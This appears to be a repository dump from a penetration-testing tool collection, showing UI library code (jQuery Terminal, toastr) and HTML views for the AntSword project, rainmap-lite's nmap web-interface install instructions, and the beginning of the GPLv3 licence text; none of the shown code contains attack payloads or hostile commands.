\"+string}else{break}}}switch($.type(completion)){case\"function\":completion(self,string,function(commands){complete_helper(command,string,commands)});break;case\"array\":complete_helper(command,string,completion);break;default:throw new Error($.terminal.defaults.strings.invalidCompletion)}return false}else if(e.which===86&&e.ctrlKey){self.oneTime(1,function(){scroll_to_bottom()});return}else if(e.which===9&&e.ctrlKey){if(terminals.length()>1){self.focus(false);return false}}else if(e.which===34){self.scroll(self.height())}else if(e.which===33){self.scroll(-self.height())}else{self.attr({scrollTop:self.attr(\"scrollHeight\")})}}else if(e.which===68&&e.ctrlKey){if(requests.length){for(i=requests.length;i--;){var r=requests[i];if(4!==r.readyState){try{r.abort()}catch(error){self.error(strings.ajaxAbortError)}}}requests=[];self.resume()}return false}}var self=this;if(this.length>1){return this.each(function(){$.fn.terminal.call($(this),init_interpreter,$.extend({name:self.selector},options))})}else{if(self.data(\"terminal\")){return self.data(\"terminal\")}if(self.length===0){throw'Sorry, but terminal said that \"'+self.selector+'\" is not valid selector!'}var scroll_object;var prev_command;var loged_in=false;var tab_count=0;var lines=[];var output;var terminal_id=terminals.length();var num_chars;var num_rows;var command_list=[];var url;var in_login=false;var onPause=$.noop;var old_width,old_height;var dalyed_commands=[];var settings=$.extend({},$.terminal.defaults,{name:self.selector},options||{});var strings=$.terminal.defaults.strings;var enabled=settings.enabled;var paused=false;$.extend(self,$.omap({clear:function(){output.html(\"\");command_line.set(\"\");lines=[];try{settings.onClear(self)}catch(e){display_exception(e,\"onClear\");throw e}self.attr({scrollTop:0});return self},export_view:function(){if(in_login){throw new Exception(strings.notWhileLogin)}return{prompt:self.get_prompt(),command:self.get_command(),position:command_line.position(),lines:lines.slice(0)}\n},import_view:function(view){if(in_login){throw new Exception(strings.notWhileLogin)}self.set_prompt(view.prompt);self.set_command(view.command);command_line.position(view.position);lines=view.lines;redraw();return self},exec:function(command,silent){if(paused){dalyed_commands.push([command,silent])}else{commands(command,silent,true)}return self},login:function(auth,infinite,success,error){if(in_login){throw new Error(strings.notWhileLogin)}if(typeof auth!==\"function\"){throw new Error(strings.loginIsNotAFunction)}if(self.token(true)&&self.login_name(true)){if(typeof success==\"function\"){success()}return self}var user=null;if(settings.history){command_line.history().disable()}in_login=true;return self.push(function(user){self.set_mask(true).push(function(pass){try{auth.call(self,user,pass,function(token,silent){if(token){self.pop().pop();if(settings.history){command_line.history().enable()}var name=self.prefix_name(true)+\"_\";$.Storage.set(name+\"token\",token);$.Storage.set(name+\"login\",user);in_login=false;if(typeof success==\"function\"){success()}}else{if(infinite){if(!silent){self.error(strings.wrongPasswordTryAgain)}self.pop().set_mask(false)}else{in_login=false;if(!silent){self.error(strings.wrongPassword)}self.pop().pop()}if(typeof error==\"function\"){error()}}})}catch(e){display_exception(e,\"USER(authentication)\")}},{prompt:strings.password+\": \"})},{prompt:strings.login+\": \"})},settings:settings,commands:function(){return interpreters.top().interpreter},setInterpreter:function(user_interpreter,login){function overwrite_interpreter(){self.pause();make_interpreter(user_interpreter,login,function(result){self.resume();var top=interpreters.top();$.extend(top,result);prepare_top_interpreter(true)})}if($.type(user_interpreter)==\"string\"&&login){self.login(make_json_rpc_login(user_interpreter,login),true,overwrite_interpreter)}else{overwrite_interpreter()}},greetings:function(){show_greetings();return self},paused:function(){return paused},pause:function(){onPause();if(!paused&&command_line){paused=true;self.disable();command_line.hidden()}return self},resume:function(){if(paused&&command_line){paused=false;self.enable();command_line.visible();var original=dalyed_commands;dalyed_commands=[];while(original.length){self.exec.apply(self,original.shift())}scroll_to_bottom()}return self},cols:function(){return num_chars},rows:function(){return num_rows},history:function(){return command_line.history()},next:function(){if(terminals.length()===1){return self}else{var offsetTop=self.offset().top;var height=self.height();var scrollTop=self.scrollTop();if(!is_scrolled_into_view(self)){self.enable();$(\"html,body\").animate({scrollTop:offsetTop-50},500);return self}else{terminals.front().disable();var next=terminals.rotate().enable();var x=next.offset().top-50;$(\"html,body\").animate({scrollTop:x},500);try{settings.onTerminalChange(next)}catch(e){display_exception(e,\"onTerminalChange\");throw e}return next}}},focus:function(toggle,silent){self.oneTime(1,function(){if(terminals.length()===1){if(toggle===false){try{if(!silent&&settings.onBlur(self)!==false){self.disable()}}catch(e){display_exception(e,\"onBlur\");throw e}}else{try{if(!silent&&settings.onFocus(self)!==false){self.enable()}}catch(e){display_exception(e,\"onFocus\");throw e}}}else{if(toggle===false){self.next()}else{var front=terminals.front();if(front!=self){front.disable();if(!silent){try{settings.onTerminalChange(self)}catch(e){display_exception(e,\"onTerminalChange\");throw e}}}terminals.set(self);self.enable()}}});return self},enable:function(){if(num_chars===undefined){self.resize()}if(command_line){command_line.enable();enabled=true}return self},disable:function(){if(command_line){enabled=false;command_line.disable()}return self},enabled:function(){return enabled},signature:function(){var cols=self.cols();var i=cols<15?null:cols<35?0:cols<55?1:cols<64?2:cols<75?3:4;if(i!==null){return signatures[i].join(\"\\n\")+\"\\n\"}else{return\"\"}},version:function(){return version},cmd:function(){return command_line},get_command:function(){return command_line.get()},set_command:function(command){command_line.set(command);return self},insert:function(string){if(typeof string===\"string\"){command_line.insert(string);return self}else{throw\"insert function argument is not a string\"}},set_prompt:function(prompt){if(validate(\"prompt\",prompt)){if(typeof prompt==\"function\"){command_line.prompt(function(command){prompt(command,self)})}else{command_line.prompt(prompt)}interpreters.top().prompt=prompt}return self},get_prompt:function(){return interpreters.top().prompt},set_mask:function(display){command_line.mask(display);return self},get_output:function(raw){if(raw){return lines}else{return $.map(lines,function(item){return typeof item[0]==\"function\"?item[0]():item[0]}).join(\"\\n\")}},resize:function(width,height){if(width&&height){self.width(width);self.height(height)}width=self.width();height=self.height();var new_num_chars=get_num_chars(self);var new_num_rows=get_num_rows(self);if(new_num_chars!==num_chars||new_num_rows!==num_rows){num_chars=new_num_chars;num_rows=new_num_rows;redraw();if(typeof settings.onResize===\"function\"&&(old_height!==height||old_width!==width)){settings.onResize(self)}if(old_height!==height||old_width!==width){old_height=height;old_width=width}}return self},flush:function(){try{var wrapper;$.each(output_buffer,function(i,line){if(line===NEW_LINE){wrapper=$(\"<div></div>\")}else if(typeof line===\"function\"){wrapper.appendTo(output);try{line(wrapper)}catch(e){display_exception(e,\"USER:echo(finalize)\")}}else{$(\"<div/>\").html(line).appendTo(wrapper).width(\"100%\")}});if(settings.outputLimit>=0){var limit=settings.outputLimit===0?self.rows():settings.outputLimit;var $lines=output.find(\"div div\");if($lines.length>limit){var for_remove=$lines.slice(0,lines.length-limit+1);var parents=for_remove.parent();for_remove.remove();parents.each(function(){var self=$(this);if(self.is(\":empty\")){self.remove()}})}}scroll_to_bottom();output_buffer=[]}catch(e){alert(\"[Flush] \"+exception_message(e)+\"\\n\"+e.stack)}return self},echo:function(string,options){try{string=string||\"\";var settings=$.extend({flush:true,raw:false,finalize:$.noop},options||{});output_buffer=[];draw_line(string,settings);lines.push([string,settings]);if(settings.flush){self.flush()}on_scrollbar_show_resize()}catch(e){alert(\"[Terminal.echo] \"+exception_message(e)+\"\\n\"+e.stack)}return self},error:function(message,finalize){return self.echo(\"[[;#f00;]\"+$.terminal.escape_brackets(message).replace(/\\\\$/,\"&#92;\")+\"]\",finalize)},exception:function(e,label){var message=exception_message(e);if(label){message=\"&#91;\"+label+\"&#93;: \"+message}if(message){self.error(message,{finalize:function(div){div.addClass(\"exception message\")}})}if(typeof e.fileName===\"string\"){self.pause();$.get(e.fileName,function(file){self.resume();var num=e.lineNumber-1;var line=file.split(\"\\n\")[num];if(line){self.error(\"&#91;\"+e.lineNumber+\"&#93;: \"+line)}})}if(e.stack){self.error(e.stack,{finalize:function(div){div.addClass(\"exception stack-trace\")}})}},scroll:function(amount){var pos;amount=Math.round(amount);if(scroll_object.prop){if(amount>scroll_object.prop(\"scrollTop\")&&amount>0){scroll_object.prop(\"scrollTop\",0)}pos=scroll_object.prop(\"scrollTop\");scroll_object.scrollTop(pos+amount)}else{if(amount>scroll_object.attr(\"scrollTop\")&&amount>0){scroll_object.attr(\"scrollTop\",0)}pos=scroll_object.attr(\"scrollTop\");scroll_object.scrollTop(pos+amount)}return self},logout:settings.login?function(){while(interpreters.size()>1){self.pop()}return self.pop()}:function(){self.error(strings.loginFunctionMissing)},token:settings.login?function(local){return $.Storage.get(self.prefix_name(local)+\"_token\")}:$.noop,login_name:settings.login?function(local){return $.Storage.get(self.prefix_name(local)+\"_login\")}:$.noop,name:function(){return interpreters.top().name},prefix_name:function(local){var name=(settings.name?settings.name+\"_\":\"\")+terminal_id;if(local&&interpreters.size()>1){name+=\"_\"+interpreters.map(function(intrp){return intrp.name}).slice(1).join(\"_\")}return name},push:function(interpreter,options){options=options||{};options.name=options.name||prev_command;options.prompt=options.prompt||options.name+\" \";var top=interpreters.top();if(top){top.mask=command_line.mask()}make_interpreter(interpreter,options.login,function(result){interpreters.push($.extend({},result,options));if(options.login){var type=$.type(options.login);if(type==\"function\"){self.login(options.login,false,prepare_top_interpreter,self.pop)}else if($.type(interpreter)==\"string\"&&type==\"string\"||type==\"boolean\"){self.login(make_json_rpc_login(interpreter,options.login),false,prepare_top_interpreter,self.pop)}}else{prepare_top_interpreter()}});return self},pop:function(string){if(string!==undefined){echo_command(string)}var token=self.token(true);if(interpreters.size()==1){if(settings.login){global_logout();if($.type(settings.onExit)===\"function\"){try{settings.onExit(self)}catch(e){display_exception(e,\"onExit\");throw e}}}else{self.error(strings.canExitError)}}else{if(token){logout()}var current=interpreters.pop();prepare_top_interpreter();if($.type(current.onExit)===\"function\"){try{current.onExit(self)}catch(e){display_exception(e,\"onExit\");throw e}}self.set_mask(interpreters.top().mask)}return self},level:function(){return interpreters.size()},reset:function(){self.clear();while(interpreters.size()>1){interpreters.pop()}initialize();return self},purge:function(){var prefix=self.prefix_name()+\"_\";var names=$.Storage.get(prefix+\"interpreters\");$.each($.parseJSON(names),function(_,name){$.Storage.remove(name+\"_commands\");$.Storage.remove(name+\"_token\");$.Storage.remove(name+\"_login\")});command_line.purge();$.Storage.remove(prefix+\"interpreters\");return self},destroy:function(){command_line.destroy().remove();output.remove();$(document).unbind(\".terminal\");$(window).unbind(\".terminal\");self.unbind(\"click, mousewheel\");self.removeData(\"terminal\").removeClass(\"terminal\");if(settings.width){self.css(\"width\",\"\")}if(settings.height){self.css(\"height\",\"\")}return self}},function(_,fun){return function(){try{return fun.apply(this,Array.prototype.slice.apply(arguments))}catch(e){if(_!==\"exec\"&&_!==\"resume\"){display_exception(e,\"TERMINAL\")}throw e}}}));var on_scrollbar_show_resize=function(){var scroll_bars=have_scrollbars(self);return function(){if(scroll_bars!==have_scrollbars(self)){self.resize();scroll_bars=have_scrollbars(self)}}}();if(settings.width){self.width(settings.width)}if(settings.height){self.height(settings.height)}if(!navigator.userAgent.toLowerCase().match(/(webkit)[ \\/]([\\w.]+)/)&&self[0].tagName.toLowerCase()==\"body\"){scroll_object=$(\"html\")}else{scroll_object=self}$(document).bind(\"ajaxSend.terminal\",function(e,xhr,opt){requests.push(xhr)});output=$(\"<div>\").addClass(\"terminal-output\").appendTo(self);self.addClass(\"terminal\");if(\"ontouchstart\"in window||window.DocumentTouch&&document instanceof DocumentTouch){self.click(function(){self.find(\"textarea\").focus()});self.find(\"textarea\").focus()}if(settings.login&&typeof settings.onBeforeLogin===\"function\"){try{settings.onBeforeLogin(self)}catch(e){display_exception(e,\"onBeforeLogin\");throw e}}var auth=settings.login;if(typeof init_interpreter===\"string\"&&(typeof settings.login===\"string\"||settings.login)){settings.login=make_json_rpc_login(init_interpreter,settings.login)}terminals.append(self);var interpreters;var command_line;make_interpreter(init_interpreter,auth,function(interpreter){interpreters=new Stack($.extend({name:settings.name,prompt:settings.prompt,greetings:settings.greetings},interpreter));command_line=$(\"<div/>\").appendTo(self).cmd({prompt:settings.prompt,history:settings.history,historyFilter:settings.historyFilter,historySize:settings.historySize,width:\"100%\",keydown:key_down,keypress:settings.keypress?function(e){return settings.keypress(e,self)}:null,onCommandChange:function(command){if($.type(settings.onCommandChange)===\"function\"){try{settings.onCommandChange(command,self)}catch(e){display_exception(e,\"onCommandChange\");throw e}}scroll_to_bottom()},commands:commands});if(enabled){self.focus(undefined,true)}else{self.disable()}$(document).bind(\"click.terminal\",function(e){if(!$(e.target).closest(\".terminal\").hasClass(\"terminal\")&&settings.onBlur(self)!==false){self.disable()}});self.click(function(e){if(!self.enabled()){self.focus()}}).mousedown(function(e){if(e.which==2){self.insert(getSelectedText())}});if(settings.login){self.login(settings.login,true,initialize)}else{initialize()}if(self.is(\":visible\")){num_chars=get_num_chars(self);command_line.resize(num_chars);num_rows=get_num_rows(self)}self.oneTime(100,function(){$(window).bind(\"resize.terminal\",function(){if(self.is(\":visible\")){var width=self.width();var height=self.height();if(old_height!==height||old_width!==width){self.resize()}}})});if($.event.special.mousewheel){var shift=false;$(document).bind(\"keydown.terminal\",function(e){if(e.shiftKey){shift=true}}).bind(\"keyup.terminal\",function(e){if(e.shiftKey||e.which==16){shift=false}});self.mousewheel(function(event,delta){if(!shift){if(delta>0){self.scroll(-40)}else{self.scroll(40)}}})}});self.data(\"terminal\",self);return self}}})(jQuery);"
  },
  {
    "path": "antSword/static/libs/toastr/toastr.js",
    "content": "/*\n * Toastr\n * Copyright 2012-2014 \n * Authors: John Papa, Hans Fjällemark, and Tim Ferrell.\n * All Rights Reserved.\n * Use, reproduction, distribution, and modification of this code is subject to the terms and\n * conditions of the MIT license, available at http://www.opensource.org/licenses/mit-license.php\n *\n * ARIA Support: Greta Krafsig\n *\n * Project: https://github.com/CodeSeven/toastr\n */\n(function () {\n    var $container;\n    var listener;\n    var toastId = 0;\n    var toastType = {\n        error: 'error',\n        info: 'info',\n        success: 'success',\n        warning: 'warning'\n    };\n\n    var toastr = {\n        clear: clear,\n        remove: remove,\n        error: error,\n        getContainer: getContainer,\n        info: info,\n        options: {},\n        subscribe: subscribe,\n        success: success,\n        version: '2.1.0',\n        warning: warning\n    };\n\n    var previousToast;\n\n\n    //#region Accessible Methods\n    function error(message, title, optionsOverride) {\n        return notify({\n            type: toastType.error,\n            iconClass: getOptions().iconClasses.error,\n            message: message,\n            optionsOverride: optionsOverride,\n            title: title\n        });\n    }\n\n    function getContainer(options, create) {\n        if (!options) { options = getOptions(); }\n        $container = $('#' + options.containerId);\n        if ($container.length) {\n            return $container;\n        }\n        if (create) {\n            $container = createContainer(options);\n        }\n        return $container;\n    }\n\n    function info(message, title, optionsOverride) {\n        return notify({\n            type: toastType.info,\n            iconClass: getOptions().iconClasses.info,\n            message: message,\n            optionsOverride: optionsOverride,\n            title: title\n        });\n    }\n\n    function subscribe(callback) {\n        listener = callback;\n    }\n\n    function success(message, title, optionsOverride) {\n        return notify({\n            type: toastType.success,\n            iconClass: getOptions().iconClasses.success,\n            message: message,\n            optionsOverride: optionsOverride,\n            title: title\n        });\n    }\n\n    function warning(message, title, optionsOverride) {\n        return notify({\n            type: toastType.warning,\n            iconClass: getOptions().iconClasses.warning,\n            message: message,\n            optionsOverride: optionsOverride,\n            title: title\n        });\n    }\n\n    function clear($toastElement) {\n        var options = getOptions();\n        if (!$container) { getContainer(options); }\n        if (!clearToast($toastElement, options)) {\n            clearContainer(options);\n        }\n    }\n\n    function remove($toastElement) {\n        var options = getOptions();\n        if (!$container) { getContainer(options); }\n        if ($toastElement && $(':focus', $toastElement).length === 0) {\n            removeToast($toastElement);\n            return;\n        }\n        if ($container.children().length) {\n            $container.remove();\n        }\n    }\n    //#endregion\n\n    //#region Internal Methods\n\n    function clearContainer (options) {\n        var toastsToClear = $container.children();\n        for (var i = toastsToClear.length - 1; i >= 0; i--) {\n            clearToast($(toastsToClear[i]), options);\n        }\n    }\n\n    function clearToast ($toastElement, options) {\n        if ($toastElement && $(':focus', $toastElement).length === 0) {\n            $toastElement[options.hideMethod]({\n                duration: options.hideDuration,\n                easing: options.hideEasing,\n                complete: function () { removeToast($toastElement); }\n            });\n            return true;\n        }\n        return false;\n    }\n\n    function createContainer(options) {\n        $container = $('<div/>')\n            .attr('id', options.containerId)\n            .addClass(options.positionClass)\n            .attr('aria-live', 'polite')\n            .attr('role', 'alert');\n\n        $container.appendTo($(options.target));\n        return $container;\n    }\n\n    function getDefaults() {\n        return {\n            tapToDismiss: true,\n            toastClass: 'toast',\n            containerId: 'toast-container',\n            debug: false,\n\n            showMethod: 'fadeIn', //fadeIn, slideDown, and show are built into jQuery\n            showDuration: 300,\n            showEasing: 'swing', //swing and linear are built into jQuery\n            onShown: undefined,\n            hideMethod: 'fadeOut',\n            hideDuration: 1000,\n            hideEasing: 'swing',\n            onHidden: undefined,\n\n            extendedTimeOut: 1000,\n            iconClasses: {\n                error: 'toast-error',\n                info: 'toast-info',\n                success: 'toast-success',\n                warning: 'toast-warning'\n            },\n            iconClass: 'toast-info',\n            positionClass: 'toast-bottom-right',\n            timeOut: 5000, // Set timeOut and extendedTimeOut to 0 to make it sticky\n            titleClass: 'toast-title',\n            messageClass: 'toast-message',\n            target: 'body',\n            // closeHtml: '<button>&times;</button>',\n            closeHtml: '<i class=\"fa fa-times-circle\"></i>',\n            newestOnTop: true,\n            preventDuplicates: false,\n            progressBar: false,\n            closeButton: true\n        };\n    }\n\n    function publish(args) {\n        if (!listener) { return; }\n        listener(args);\n    }\n\n    function notify(map) {\n        var options = getOptions(),\n            iconClass = map.iconClass || options.iconClass;\n\n        if (options.preventDuplicates) {\n            if (map.message === previousToast) {\n                return;\n            } else {\n                previousToast = map.message;\n            }\n        }\n\n        if (typeof (map.optionsOverride) !== 'undefined') {\n            options = $.extend(options, map.optionsOverride);\n            iconClass = map.optionsOverride.iconClass || iconClass;\n        }\n\n        toastId++;\n\n        $container = getContainer(options, true);\n        var intervalId = null,\n            $toastElement = $('<div/>'),\n            $titleElement = $('<div/>'),\n            $messageElement = $('<div/>'),\n            $progressElement = $('<div/>'),\n            $closeElement = $(options.closeHtml),\n            progressBar = {\n                intervalId: null,\n                hideEta: null,\n                maxHideTime: null\n            },\n            response = {\n                toastId: toastId,\n                state: 'visible',\n                startTime: new Date(),\n                options: options,\n                map: map\n            };\n\n        if (map.iconClass) {\n            $toastElement.addClass(options.toastClass).addClass(iconClass);\n        }\n\n        if (map.title) {\n            $titleElement.append(map.title).addClass(options.titleClass);\n            $toastElement.append($titleElement);\n        }\n\n        if (map.message) {\n            $messageElement.append(map.message).addClass(options.messageClass);\n            $toastElement.append($messageElement);\n        }\n\n        if (options.closeButton) {\n            $closeElement.addClass('toast-close-button').attr('role', 'button');\n            $toastElement.prepend($closeElement);\n        }\n\n        if (options.progressBar) {\n            $progressElement.addClass('toast-progress');\n            $toastElement.prepend($progressElement);\n        }\n\n        $toastElement.hide();\n        if (options.newestOnTop) {\n            $container.prepend($toastElement);\n        } else {\n            $container.append($toastElement);\n        }\n        $toastElement[options.showMethod](\n            {duration: options.showDuration, easing: options.showEasing, complete: options.onShown}\n        );\n\n        if (options.timeOut > 0) {\n            intervalId = setTimeout(hideToast, options.timeOut);\n            progressBar.maxHideTime = parseFloat(options.timeOut);\n            progressBar.hideEta = new Date().getTime() + progressBar.maxHideTime;\n            if (options.progressBar) {\n                progressBar.intervalId = setInterval(updateProgress, 10);\n            }\n        }\n\n        $toastElement.hover(stickAround, delayedHideToast);\n        if (!options.onclick && options.tapToDismiss) {\n            $toastElement.click(hideToast);\n        }\n\n        if (options.closeButton && $closeElement) {\n            $closeElement.click(function (event) {\n                if (event.stopPropagation) {\n                    event.stopPropagation();\n                } else if (event.cancelBubble !== undefined && event.cancelBubble !== true) {\n                    event.cancelBubble = true;\n                }\n                hideToast(true);\n            });\n        }\n\n        if (options.onclick) {\n            $toastElement.click(function () {\n                options.onclick();\n                hideToast();\n            });\n        }\n\n        publish(response);\n\n        if (options.debug && console) {\n            console.log(response);\n        }\n\n        return $toastElement;\n\n        function hideToast(override) {\n            if ($(':focus', $toastElement).length && !override) {\n                return;\n            }\n            clearTimeout(progressBar.intervalId);\n            return $toastElement[options.hideMethod]({\n                duration: options.hideDuration,\n                easing: options.hideEasing,\n                complete: function () {\n                    removeToast($toastElement);\n                    if (options.onHidden && response.state !== 'hidden') {\n                        options.onHidden();\n                    }\n                    response.state = 'hidden';\n                    response.endTime = new Date();\n                    publish(response);\n                }\n            });\n        }\n\n        function delayedHideToast() {\n            if (options.timeOut > 0 || options.extendedTimeOut > 0) {\n                intervalId = setTimeout(hideToast, options.extendedTimeOut);\n                progressBar.maxHideTime = parseFloat(options.extendedTimeOut);\n                progressBar.hideEta = new Date().getTime() + progressBar.maxHideTime;\n            }\n        }\n\n        function stickAround() {\n            clearTimeout(intervalId);\n            progressBar.hideEta = 0;\n            $toastElement.stop(true, true)[options.showMethod](\n                {duration: options.showDuration, easing: options.showEasing}\n            );\n        }\n\n        function updateProgress() {\n            var percentage = ((progressBar.hideEta - (new Date().getTime())) / progressBar.maxHideTime) * 100;\n            $progressElement.width(percentage + '%');\n        }\n    }\n\n    function getOptions() {\n        return $.extend({}, getDefaults(), toastr.options);\n    }\n\n    function removeToast($toastElement) {\n        if (!$container) { $container = getContainer(); }\n        if ($toastElement.is(':visible')) {\n            return;\n        }\n        $toastElement.remove();\n        $toastElement = null;\n        if ($container.children().length === 0) {\n            $container.remove();\n        }\n    }\n    //#endregion\n    window.toastr = toastr;\n})();"
  },
  {
    "path": "antSword/views/index.html",
    "content": "<!DOCTYPE HTML>\n<html>\n  <head>\n    <meta charset=\"utf-8\"/>\n    <title>AntSword</title>\n    <link rel=\"stylesheet\" href=\"ant-static://css/index.css\"/>\n    <script src=\"ant-src://load.entry.js\"></script>\n  </head>\n  <body>\n    <div id=\"loading\"></div>\n  </body>\n</html>\n"
  },
  {
    "path": "antSword/views/plugin.html",
    "content": "<!DOCTYPE HTML>\n<html>\n<head>\n  <meta charset=\"utf-8\" />\n  <title>AntSword.Store</title>\n  <!-- <script src=\"http://localhost:8000/static/js/loader.js\"></script> -->\n  <script src=\"https://AntSword-Store.github.io/v0.1/loader.js\"></script>\n  <style>\n  html,body,#container,#loader{\n    margin: 0;padding: 0;width:100%;height:100%;\n  }\n  #loader {\n    display: flex;\n    justify-content: center;align-items: center;\n  }\n  ::-webkit-scrollbar-track-piece {\n  \tbackground-color:#f5f5f5;\n  \tborder-left:1px solid #d2d2d2;\n  }\n  ::-webkit-scrollbar {\n  \twidth:13px;\n  \theight:13px;\n  }\n  ::-webkit-scrollbar-thumb {\n  \tbackground-color:#c2c2c2;\n  \tbackground-clip:padding-box;\n  \tborder:1px solid #979797;\n  \tmin-height:28px;\n  }\n  ::-webkit-scrollbar-thumb:hover {\n  \tborder:1px solid #636363;\n  \tbackground-color:#929292;\n  }\n  .cssload-loader{position:relative;width:62px;height:62px;border-radius:50%;perspective:780px}.cssload-inner{position:absolute;width:100%;height:100%;box-sizing:border-box;border-radius:50%}.cssload-inner.cssload-one{left:0;top:0;animation:cssload-rotate-one 1.15s linear infinite;border-bottom:3px solid #000}.cssload-inner.cssload-two{right:0;top:0;animation:cssload-rotate-two 1.15s linear infinite;border-right:3px solid #000}.cssload-inner.cssload-three{right:0;bottom:0;animation:cssload-rotate-three 1.15s linear infinite;border-top:3px solid #000}@keyframes cssload-rotate-one{0%{transform:rotateX(35deg) rotateY(-45deg) rotateZ(0deg)}100%{transform:rotateX(35deg) rotateY(-45deg) rotateZ(360deg)}}@keyframes cssload-rotate-two{0%{transform:rotateX(50deg) rotateY(10deg) rotateZ(0deg)}100%{transform:rotateX(50deg) rotateY(10deg) rotateZ(360deg)}}@keyframes cssload-rotate-three{0%{transform:rotateX(35deg) rotateY(55deg) rotateZ(0deg)}100%{transform:rotateX(35deg) rotateY(55deg) rotateZ(360deg)}}</style>\n</head>\n<body>\n  <div id=\"container\">\n    <div id=\"loader\">\n      <div class=\"cssload-loader\">\n      \t<div class=\"cssload-inner cssload-one\"></div>\n      \t<div class=\"cssload-inner cssload-two\"></div>\n      \t<div class=\"cssload-inner cssload-three\"></div>\n      </div>\n    </div>\n  </div>\n</body>\n</html>\n"
  },
  {
    "path": "rainmap-lite/INSTALL.md",
    "content": "#INSTALLATION\n#Prerequisites\n- Django (Tested on Django 1.9)\nIf you do not have Django installed use: `pip install Django`\n- lxml\nInstall it with `pip install lxml`\n\n##Linux/OSX\n```\ndownload the files from  https://github.com/ym2011/penetration/tree/master/rainmap-lite\n```\n- Update BASE_URL, SMTP_USER, SMTP_PASS, SMTP_SERVER and SMTP_PORT in nmaper-cronjob.py with your base URL and SMTP credentials to receive email alerts.  \n- Create the database schema \n```\npython manage.py migrate \n```\n- Load the default scanning profiles data\n```\npython manage.py loaddata nmapprofiles\n```\n- Add a cron task to execute nmaper-cronjob.py periodically. For example:\n```\n*/5 * * * * cd <App path> && /usr/bin/python nmaper-cronjob.py >> /var/log/nmaper.log 2>&1\n```\n- Run the app (Or install it):\n```\npython manage.py runserver 0.0.0.0:8080\n```\n##Adding the first admin user\nFor security RainmapLite does not have any default administrative user out of box. You need to create one by running the following command:\n```\npython manage.py createsuperuser\n```\n"
  },
  {
    "path": "rainmap-lite/LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work. 